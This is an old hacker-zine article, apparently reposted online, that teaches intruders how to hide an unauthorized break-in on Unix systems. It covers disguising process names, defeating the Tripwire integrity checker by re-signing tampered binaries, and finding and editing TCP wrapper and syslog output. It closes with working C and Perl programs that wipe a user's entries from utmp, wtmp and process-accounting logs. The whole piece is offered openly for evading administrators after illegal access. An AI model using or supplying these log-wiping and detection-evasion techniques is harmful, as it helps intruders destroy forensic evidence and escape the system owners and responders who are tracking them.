#!/bin/sh
# Playing Hide and Seek, Unix style.
# By Phreak Accident
#
# A "how-to" in successfully hiding and removing your electronic footprints
# while gaining unauthorized access to someone else's computer system (Unix in
# this case).
# Start counting ..
Hmm. Sucks don't it? Breaking into a system but only to have your access cut off the next day. Right before you had the chance to download that 2 megabyte source code file you have been dying to get all year.
Why was the access cut? Damn, you forgot to nuke that .rhosts file that you left in the root directory. Or maybe it was the wtmp entries you didn't bother to edit. Or perhaps the tcp_wrapper logs that you didn't bother to look for. Whatever it was, it just screwed your access and perhaps, just got you busted.
---- Simulated incident report follows:
From: mark@abene.com (Mark Dorkenski)
Message-Id: <9305282324.AA11445@jail.abene.com>
To: incident-report@cert.org
Subject: Cracker Breakin
Status: RO
To whom it may concern,
Last night 2 of our machines were penetrated by an unauthorized user. Apparently the cracker (or crackers) involved didn't bother to clean up after they left.
The following are logs generated from the time the break-in occurred.
[/usr/adm/wtmp]:
oracle ttyp1 192.148.8.15 Tue May 11 02:12 - 04:00 (02:12) sync ttyp2 192.148.8.15 Tue May 11 01:47 - 01:47 (00:00) robert console Mon May 10 06:00 - 04:15 (22:14) reboot ~ Mon May 10 05:59 shutdown ~ Sun May 9 11:04
[/usr/adm/messages]:
May 11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15 May 11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15
[/usr/adm/pacct]:
ls - oracle ttyp1 0.00 secs Tue May 2 19:37 cat - oracle ttyp1 0.00 secs Tue May 2 19:37 ls - oracle ttyp1 0.00 secs Tue May 2 19:37 ls - oracle ttyp1 0.00 secs Tue May 2 19:37 rdist - root ttyp1 0.00 secs Tue May 2 19:37 sh - root ttyp0 0.00 secs Tue May 2 19:37 ed - root ttyp0 0.00 secs Tue May 2 19:37 rlogin - root ttyp0 0.00 secs Tue May 2 19:37 ls - root ttyp0 0.00 secs Tue May 2 19:37 more - root ttyp0 0.00 secs Tue May 2 19:34
We have found and plugged the areas of vulnerability and have restored original binaries back to the system. We have already informed the proper authorities of the breakin, including the domain contact at the remote host in question.
Can you please relay any information regarding incident reports in our area?
Mark Dorkenski
Network Operations
---- End of incident report
Hey, it's human nature to be careless and lazy. But, when you're a hacker, and you're illegally breaking into computer systems this isn't a luxury that you can afford. Your efforts in penetrating have to be exact, concise, sharp, witty and skillful. You have to know when to retreat, run, hide, pounce or spy. Let us put it this way, when you get your feet muddy and walk on new carpet without cleaning it up, you're gonna get spanked.
I can't tell you how many times I've see a hacker break into a system and leave their muddy footprints all over the system. Hell, a quarter of the hosts on the Internet need to be steam-cleaned.
This is sad. Especially since you could have had the ability to do the washing yourself. Why bother cracking systems if you leave unauthorized login messages on the console for the administrators? Beats me.
This article is about hiding your access--the little tricks of the trade that keep you unnoticed and hidden from that evil bastard, the system administrator.
I should probably start by explaining exactly where common accounting/log files are kept and their roles in keeping/tracking system information.
# Drinking jolt and jerking the logs
Syslog(3), The "Big Daddy" of logging daemons, is the master of all system accounting and log reporting. Most system components and applications depend on syslogd to deliver the information (accounting, errors, etc.) to the appropriate place. Syslog (syslogd) reads a configuration file (/etc/syslog.conf) on startup to determine what facilities it will support.
Syslog ususally has the following facilities and priorities:
Facilities: kern user mail daemon auth syslog lpr news uucp
Priorities: emerg alert crit err warning notice info debug
Facilities are the types of accounting that occur and priorities are the level of urgency that the facilities will report. Most facilities are divided and logged into separate accounting files. The common being daemon, auth, syslog, and kern.
Priorities are encoded as a facility and a level. The facility usually describes the part of the system generating the message. Priorities are defined in <sys/syslog.h>.
In order to by-pass or suspend system accounting it is necessary to understand how it works. With syslog, it is important to know how to read and determine where accounting files are delivered. This entails understanding how syslog configures itself for operation.
# Reading and understanding /etc/syslog.conf.
Lines in the configuration file have a selector to determine the message priorities to which the line applies and an action. The action fields are separated from the selector by one or more tabs.
Selectors are semicolon separated lists of priority specifiers. Each priority has a facility describing the part of the system that generated the message, a dot, and a level indicating the severity of the message. Symbolic names could be used. An asterisk selects all facilities. All messages of the specified level or higher (greater severity) are selected. More than one facility may be selected using commas to separate them. For example:
*.emerg;mail,daemon.crit
selects all facilities at the emerg level and the mail and daemon facil- ities at the crit level.
Known facilities and levels recognized by syslogd are those listed in syslog(3) without the leading ``LOG_''. The additional facility ``mark'' has a message at priority LOG_INFO sent to it every 20 minutes (this may be changed with the -m flag). The ``mark'' facility is not enabled by a facility field containing an asterisk. The level ``none'' may be used to disable a particular facility. For example,
*.debug;mail.none
Sends all messages except mail messages to the selected file.
The second part of each line describes where the message is to be logged if this line is selected. There are four forms:
- A filename (beginning with a leading slash). The file will be opened in append mode.
- A hostname preceded by an at sign (``@''). Selected messages are forwarded to the syslogd on the named host.
- A comma separated list of users. Selected messages are written to those users if they are logged in.
- An asterisk. Selected messages are written to all logged-in users.
For example, the configuration file:
kern,mark.debug /dev/console
*.notice;mail.info /usr/spool/adm/syslog
*.crit /usr/adm/critical
kern.err @phantom.com
*.emerg *
*.alert erikb,netw1z
*.alert;auth.warning ralph
logs all kernel messages and 20 minute marks onto the system console, all notice (or higher) level messages and all mail system messages except debug messages into the file /usr/spool/adm/syslog, and all critical messages into /usr/adm/critical; kernel messages of error severity or higher are forwarded to ucbarpa. All users will be informed of any emergency messages, the users ``erikb'' and ``netw1z'' will be informed of any alert messages, or any warning message (or higher) from the authorization system.
Syslogd creates the file /etc/syslog.pid, if possible, containing a single line with its process id; this is used to kill or reconfigure syslogd.
# System login records
There are there basic areas (files) in which system login information is stored. These areas are:
/usr/etc/wtmp
/usr/etc/lastlog
/etc/utmp
The utmp file records information about who is currently using the system. The file is a sequence of entries with the following structure declared in the include file (/usr/include/utmp.h):
struct utmp {
char ut_line[8]; /* tty name */
char ut_name[8]; /* user id */
char ut_host[16]; /* host name, if remote */
long ut_time; /* time on */
};
This structure gives the name of the special file associated with the user's terminal, the user's login name, and the time of the login in the form of time(3C). This will vary from platform to platform. Since Sun Microsystems ships SunOs with a world writable /etc/utmp, you can easily take yourself out of any who listing.
The wtmp file records all logins and logouts. A null username indicates a logout on the associated terminal. Furthermore, the terminal name `~' indicates that the system was rebooted at the indicated time; the adjacent pair of entries with terminal names `|' and `{' indicate the system maintained time just before and just after a date command has changed the system's idea of the time.
Wtmp is maintained by login(1) and init(8). Neither of these programs creates the file, so if it is removed or renamed record-keeping is turned off. Wtmp is used in conjunction with the /usr/ucb/last command.
/usr/adm/lastlog is used by login(1) for storing previous login dates, times, and connection locations. The structure for lastlog is as follows:
struct lastlog {
time_t ll_time;
char ll_line[8];
char ll_host[16];
};
The structure for lastlog is quite simple. One entry per UID, and it is stored in UID order.
Creating a lastlog and wtmp editor is quite simple. Example programs are appended at the end of this file.
# System process accounting
Usually, the more security-conscience systems will have process accounting turned on which allows the system to log every process that is spawned. /usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the accounting data. These files can grow quite large as you can imagine, and are sometimes shrunk by other system applications and saved in a compressed format as /usr/adm/savacct or something similar.
Usually, if the accounting file is there with a 0 byte length then you can rest assured that they are not keeping process accounting records. If they are however, there are really only two methods of hiding yourself from this form of accounting. One, you can suspend or stop process accounting ( which is usually done with the "accton" command) or you can edit the existing process logfile and "wipe" your incriminating records.
Here is the common structure for the process accounting file:
struct acct
{
char ac_comm[10]; /* Accounting command name */
comp_t ac_utime; /* Accounting user time */
comp_t ac_stime; /* Accounting system time */
comp_t ac_etime; /* Accounting elapsed time */
time_t ac_btime; /* Beginning time */
uid_t ac_uid; /* Accounting user ID */
gid_t ac_gid; /* Accounting group ID */
short ac_mem; /* average memory usage */
comp_t ac_io; /* number of disk IO blocks */
dev_t ac_tty; /* control typewriter */
char ac_flag; /* Accounting flag */
};
It is extremely tricky to remove all of your account records since if you do use a program to remove them, the program that you run to wipe the records will still have a process that will be appended to the logfile after it has completed.
An example program for removing process accounting records is included at the end of this article.
Most sysadmins don't pay real attention to the process logs, since they do tend to be rather large and grow fast. However, if they notice that a break-in has occurred, this is one of the primary places they will look for further evidence.
On the other hand, for normal system monitoring, you should be more worried about your "active" processes that might show up in a process table listing (such as ps or top).
Most platforms allow the general changing of the process name without having any kind of privileges to do so. This is done with a simple program as noted below:
#include <stdio.h>
#include <string.h>
int main(argc, argv)
int argc;
char **argv;
{
char *p;
for (p = argv[0]; *p; p++)
*p = 0;
strcpy(argv[0], "rn");
(void) getchar (); /* to allow you to see that ps reports "rn" */
return(0);
}
Basically, this program waits for a key-stroke and then exits. But, while it's waiting, if you were to lookup the process it would show the name as being "rn". You're just actually re-writing the argument list of the spawned process. This is a good method of hiding your process or program names ("crack", "hackit", "icmpnuker"). Its a good idea to use this method in any "rogue" programs you might not want to be discovered by a system administrator.
If you cant corrupt your process arguments, rename your program to something that at least looks normal on the system. But, if you do this, make sure that you don't run the command as "./sh" or "./ping" .. Even this looks suspicious. Put your current path in front of your PATH environment variable and avoid this mistake.
# Tripping the wire
That little piss-ant up at Purdue thinks he has invented a masterpiece.. I'll let his words explain what "Tripwire" is all about. Then, i'll go over some brief flaws in tripwire and how to circumvent it.
---- Tripwire README Introduction
1.0. Background
================
With the advent of increasingly sophisticated and subtle account break-ins on Unix systems, the need for tools to aid in the detection of unauthorized modification of files becomes clear. Tripwire is a tool that aids system administrators and users in monitoring a designated set of files for any changes. Used with system files on a regular (e.g., daily) basis, Tripwire can notify system administrators of corrupted or tampered files, so damage control measures can be taken in a timely manner.
1.1. Goals of Tripwire
=======================
Tripwire is a file integrity checker, a utility that compares a designated set of files against information stored in a previously generated database. Any differences are flagged and logged, and optionally, a user is notified through mail. When run against system files on a regular basis, any changes in critical system files will be spotted -- and appropriate damage control measures can be taken immediately. With Tripwire, system administrators can conclude with a high degree of certainty that a given set of files remain free of unauthorized modifications if Tripwire reports no changes.
---- End of Tripwire excerpt
Ok, so you know what tripwire does. Yup, it creates signatures for all files listed in a tripwire configuration file. So, if you were to change a file that is "tripwired", the proper authorities would be notified and your changes could be recognized. Gee. That sounds great. But there are a couple of problems with this.
First, tripwire wasn't made to run continuously (i.e., a change to a system binary might not be noticed for several hours, perhaps days.) This allows somewhat of a "false" security for those admins who install tripwire.
The first step in beating tripwire is to know if the system you are on is running it. This is trivial at best. The default location where tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.
The "tcheck" directory is basically made up of the following files:
-rw------- 1 root 4867 tw.config
drwxr----- 2 root 512 databases
The file "tw.config" is the tripwire configuration file. Basically, it's a list if files that tripwire will create signatures for. This file usually consists of all system binaries, devices, and configuration files.
The directory "databases" contains the actual tripwire signatures for every system that is configured in tw.config. The format for the database filenames are tw.db_HOSTNAME. An example signature entry might look like:
/bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0
Nothing to get excited about. Basically it is a signature encrypted in one of the many forms supplied by tripwire. Hard to forge, but easy to bypass.
Tripwire takes a long time to check each file or directory listed in the configuration file. Therefore, it is possible to patch or change a system file before tripwire runs a signature check on it. How does one do this? Well, let me explain some more.
In the design of tripwire, the databases are supposed to be kept either on a secure server or a read-only filesystem. Usually, if you would want to patch a system binary 9 times out of 10 you're going to want to have root access. Having root access to by-pass tripwire is a must. Therefore, if you can obtain this access then it is perfectly logical that you should be able to remount a filesystem as Read/Write. Once accomplished, after installing your patched binary, all you have to do is:
tripwire -update PATH_TO_PATCHED_BINARY
Then, you must also:
tripwire -update /usr/adm/tcheck/databases/tw.db_HOSTNAME
(If they are making a signature for the tripwire database itself)
You'll still be responsible for the changed inode times on the database. But that's the risk you'll have to live with. Tripewire wont detect the change since you updated the database. But an admin might notice the changed times.
# Wrapping up the wrappers
Ta da. You got the access. uh-oh. What if they are running a TCP wrapper? There are three basic ways they could be running a wrapper.
- They have modified /etc/inetd.conf and replaced the daemons they want to wrap with another program that records the incoming hostname and then spawns the correct daemon.
- They have replaced the normal daemons (usually in /usr/etc) with a program that records the hostname then launches the correct daemon.
- They have modified the actual wrappers themselves to record incoming connections.
In order to bypass or disable them, you'll first need to know which method they are using.
First, view /etc/inetd.conf and check to see if you see something similar to:
telnet stream tcp nowait root /usr/etc/tcpd telnetd ttyXX
This is a sure sign that they are running Wietse Venema's tcp_wrapper.
If nothing is found in /etc/inetd.conf, check /usr/etc and check for any abnormal programs such as "tcpd", "wrapd", and "watchcatd". Finally, if nothing is still found, try checking the actually daemons by running "strings" on them and looking for logfiles or by using sum and comparing them to another system of the same OS that you know is not using a wrapper.
Okay, by now you know whether or not they have a wrapper installed. If so you will have to now decide what to do with the output of the wrapper. You'll have to know where it put the information. The most common wrapper used is tcp_wrapper. Here is another README excerpt detailing where the actually output from the wraps are delivered.
---- Begin of tcp_wrapper README
3.2 - Where the logging information goes
----------------------------------------
The wrapper programs send their logging information to the syslog daemon (syslogd). The disposition of the wrapper logs is determined by the syslog configuration file (usually /etc/syslog.conf). Messages are written to files, to the console, or are forwarded to a @loghost.
Older syslog implementations (still found on Ultrix systems) only support priority levels ranging from 9 (debug-level messages) to 0 (alerts). All logging information of the same priority level (or more urgent) is written to the same destination. In the syslog.conf file, priority levels are specified in numerical form. For example,
8/usr/spool/mqueue/syslog
causes all messages with priority 8 (informational messages), and anything that is more urgent, to be appended to the file /usr/spool/mqueue/syslog.
Newer syslog implementations support message classes in addition to priority levels. Examples of message classes are: mail, daemon, auth and news. In the syslog.conf file, priority levels are specified with symbolic names: debug, info, notice, ..., emerg. For example,
mail.debug /var/log/syslog
causes all messages of class mail with priority debug (or more urgent) to be appended to the /var/log/syslog file.
By default, the wrapper logs go to the same place as the transaction logs of the sendmail daemon. The disposition can be changed by editing the Makefile and/or the syslog.conf file. Send a `kill -HUP' to the syslogd after changing its configuration file. Remember that syslogd, just like sendmail, insists on one or more TABs between the left-hand side and the right-hand side expressions in its configuration file.
---- End of tcp_wrapper README
Usually just editing the output and hoping the sysadmin didnt catch the the wrap will do the trick since nothing is output to the console (hopefully).
# Example programs
The following are short and sweet programs that give you the ability to edit some of the more common logfiles found on most platforms. Most of these are pretty simple to compile, although some might need minor porting and OS consideration changes in structures and configurations.
---- Begin of /etc/utmp editor:
/* This program removes utmp entries by name or number */
#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>
void usage(name)
char *name;
{
printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);
exit(1);
}
main(argc,argv)
int argc;
char **argv;
{
int fd;
struct utmp utmp;
int size;
int match, tty = 0;
if (argc!=2)
usage(argv[0]);
if ( !strncmp(argv[1],"tty",3) )
tty++;
fd = open("/etc/utmp",O_RDWR);
if (fd >= 0)
{
size = read(fd, &utmp, sizeof(struct utmp));
while ( size == sizeof(struct utmp) )
{
if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
( !strcmp(utmp.ut_name, argv[1]) ) )
{
lseek( fd, -sizeof(struct utmp), L_INCR );
bzero( &utmp, sizeof(struct utmp) );
write( fd, &utmp, sizeof(struct utmp) );
}
size = read( fd, &utmp, sizeof(struct utmp) );
}
}
close(fd);
}
---- End of /etc/utmp editor
---- Begin of /usr/adm/wtmp editor:
/* This program removes wtmp entries by name or tty number */
#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>
void usage(name)
char *name;
{
printf("Usage: %s [ user | tty ]\n", name);
exit(1);
}
void main (argc, argv)
int argc;
char *argv[];
{
struct utmp utmp;
int size, fd, lastone = 0;
int match, tty = 0, x = 0;
if (argc>3 || argc<2)
usage(argv[0]);
if (strlen(argv[1])<2) {
printf("Error: Length of user\n");
exit(1);
}
if (argc==3)
if (argv[2][0] == 'l') lastone = 1;
if (!strncmp(argv[1],"tty",3))
tty++;
if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
printf("Error: Open on /usr/adm/wtmp\n");
exit(1);
}
printf("[Searching for %s]: ", argv[1]);
if (fd >= 0)
{
size = read(fd, &utmp, sizeof(struct utmp));
while ( size == sizeof(struct utmp) )
{
if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
lastone != 1)
{
if (x==10)
printf("\b%d", x);
else
if (x>9 && x!=10)
printf("\b\b%d", x);
else
printf("\b%d", x);
lseek( fd, -sizeof(struct utmp), L_INCR );
bzero( &utmp, sizeof(struct utmp) );
write( fd, &utmp, sizeof(struct utmp) );
x++;
}
size = read( fd, &utmp, sizeof(struct utmp) );
}
}
if (!x)
printf("No entries found.");
else
printf(" entries removed.");
printf("\n");
close(fd);
}
---- End of /usr/adm/wtmp editor
---- Begin of /usr/adm/lastcomm editor:
#!/perl
package LCE;
$date = 'Sun Jul 4 20:35:36 CST 1993';
$title = 'LCE';
$author = 'Phreak Accident';
$version = '0.0';
$copyright = 'Copyright Phreak Accident';
#------------------------------------------------------------------------------
# begin getopts.pl
# Usage: &Getopts('a:bc'); # -a takes arg. -b & -c not. Sets opt_*.
sub Getopts {
local($argumentative)=@_;
local(@args,$_,$first,$rest,$errs);
local($[)=0;
@args=split(/ */, $argumentative );
while(($_=$ARGV[0]) =~ /^-(.)(.*)/) {
($first,$rest) = ($1,$2);
$pos = index($argumentative,$first);
if($pos >= $[) {
if($args[$pos+1] eq ':') {
shift(@ARGV);
if($rest eq '') {
$rest = shift(@ARGV);
}
eval "\$opt_$first = \$rest;";
}
else {
eval "\$opt_$first = 1";
if($rest eq '') {
shift(@ARGV);
}
else {
$ARGV[0] = "-$rest";
}
}
}
else {
print STDERR "Unknown option: $first\n";
++$errs;
if($rest ne '') {
$ARGV[0] = "-$rest";
}
else {
shift(@ARGV);
}
}
}
$errs == 0;
}
# end getopts.pl
#------------------------------------------------------------------------------
sub Initialize {
$TRUE = '1'; # '1' = TRUE = '1'
$FALSE = ''; # '' = FALSE = ''
&Getopts('a:u:o:'); # Parse command line options
$acct = $opt_a || $ENV{'ACCT'} || '/var/adm/pacct';
$user = $opt_u || $ENV{'USER'} || `/bin/whoami` || 'root';
$outf = $opt_o || $ENV{'OUTF'} || './.pacct';
select(STDOUT); $|++;
close(I);
open(I,'(cd /dev; echo tty*)|');
$ttys=<I>;
close(I);
@ttys = split(/ /,$ttys);
for $tty (@ttys) {
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
$atime,$mtime,$ctime,$blksize,$blocks) = stat("/dev/$tty");
$TTY{"$rdev"} = "$tty";
}
$TTY{'65535'} = 'NoTTY';
# Get passwd info --> id:passwd:uid:gid:name:home:shell
close (I);
# open(I,"cat /etc/passwd|"); # If you don't run nis...
open(I,"ypcat passwd|");
while (<I>) {
chop;
split(/:/);
$PASSWD{"$_[$[+2]"}= $_[$[];
}
$PASSWD{"0"}= 'root';
# Get group info --> id:passwd:gid:members
close (I);
# open(I,"cat /etc/group|"); # If you don't run nis...
open(I,"ypcat group | ");
while (<I>) {
chop;
split(/:/);
$GROUP{"$_[$[+2]"}= $_[$[];
}
}
split(/ /,'Sun Mon Tue Wed Thu Fri Sat');
for ($x=$[ ; $x<$#_ ; $x++) {
$DAY{"$x"} = $_[$x];
}
split(/ /,'Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec');
for ($x=$[ ; $x<$#_ ; $x++) {
$MONTH{"$x"} = $_[$x];
}
#------------------------------------------------------------------------------
sub LCE {
&Initialize();
open(I,"<$acct");
close(O);
open(O,">$outf");
$template='CCSSSLSSSSSSA8';
while (read(I,$buff,32)) {
($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) =
unpack($template,$buff);
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime($bt);
$mon++;
$mon = "0$mon" if ($mon < 10);
$mday = "0$mday" if ($mday < 10);
$hour = "0$hour" if ($hour < 10);
$min = "0$min" if ($min < 10);
$sec = "0$sec" if ($sec < 10);
$tt = localtime($bt);
$flags='';
if ($c1 & 0001) { $flags .= 'F'; }
if ($c1 & 0002) { $flags .= 'S'; }
if ($c1 & 0004) { $flags .= 'P'; }
if ($c1 & 0010) { $flags .= 'C'; }
if ($c1 & 0020) { $flags .= 'K'; }
if ($c1 & 0300) { $flags .= 'A'; }
$c3 =~ s/\000.*$//;
print STDOUT "$c3 $flags $PASSWD{$u}/$GROUP{$g} $TTY{$d}";
print STDOUT " $DAY{$wday} $hour:$min:$sec";
if ($PASSWD{$u} eq $user) {
print " [ERASED] ";
} else {
print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3);
}
print "\n";
}
close(O);
}
#------------------------------------------------------------------------------
&LCE();
#struct acct
# {
# char ac_flag; /* Accounting flag */
# char ac_stat; /* Exit status */
# uid_t ac_uid; /* Accounting user ID */
# gid_t ac_gid; /* Accounting group ID */
# dev_t ac_tty; /* control typewriter */
# time_t ac_btime; /* Beginning time */
# comp_t ac_utime; /* Accounting user time */
# comp_t ac_stime; /* Accounting system time */
# comp_t ac_etime; /* Accounting elapsed time */
# comp_t ac_mem; /* average memory usage */
# comp_t ac_io; /* chars transferred */
# comp_t ac_rw; /* blocks read or written */
# char ac_comm[8]; /* Accounting command name */
# };
#
# #define AFORK 0001 /* has executed fork, but no exec */
# #define ASU 0002 /* used super-user privileges */
# #define ACOMPAT 0004 /* used compatibility mode */
# #define ACORE 0010 /* dumped core */
# #define AXSIG 0020 /* killed by a signal */
# #define ACCTF 0300 /* record type: 00 = acct */
---- End of /usr/adm/lastcomm editor
# All good things must come to an end
In conclusion, you need to be smarter than the administrator. Being careless can get you busted. Clean your footprints. Watch the system. Learn new tricks. AND KEEP ON HACKING!
Watch for my next article on 50 great system patches that will keep your access just the way it is .. illegal. Yaawhoo.
# End of article
Copyright © 2010-2024
Kjell Enblom.
This document is covered by the GNU Free Documentation License, Version 1.3
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".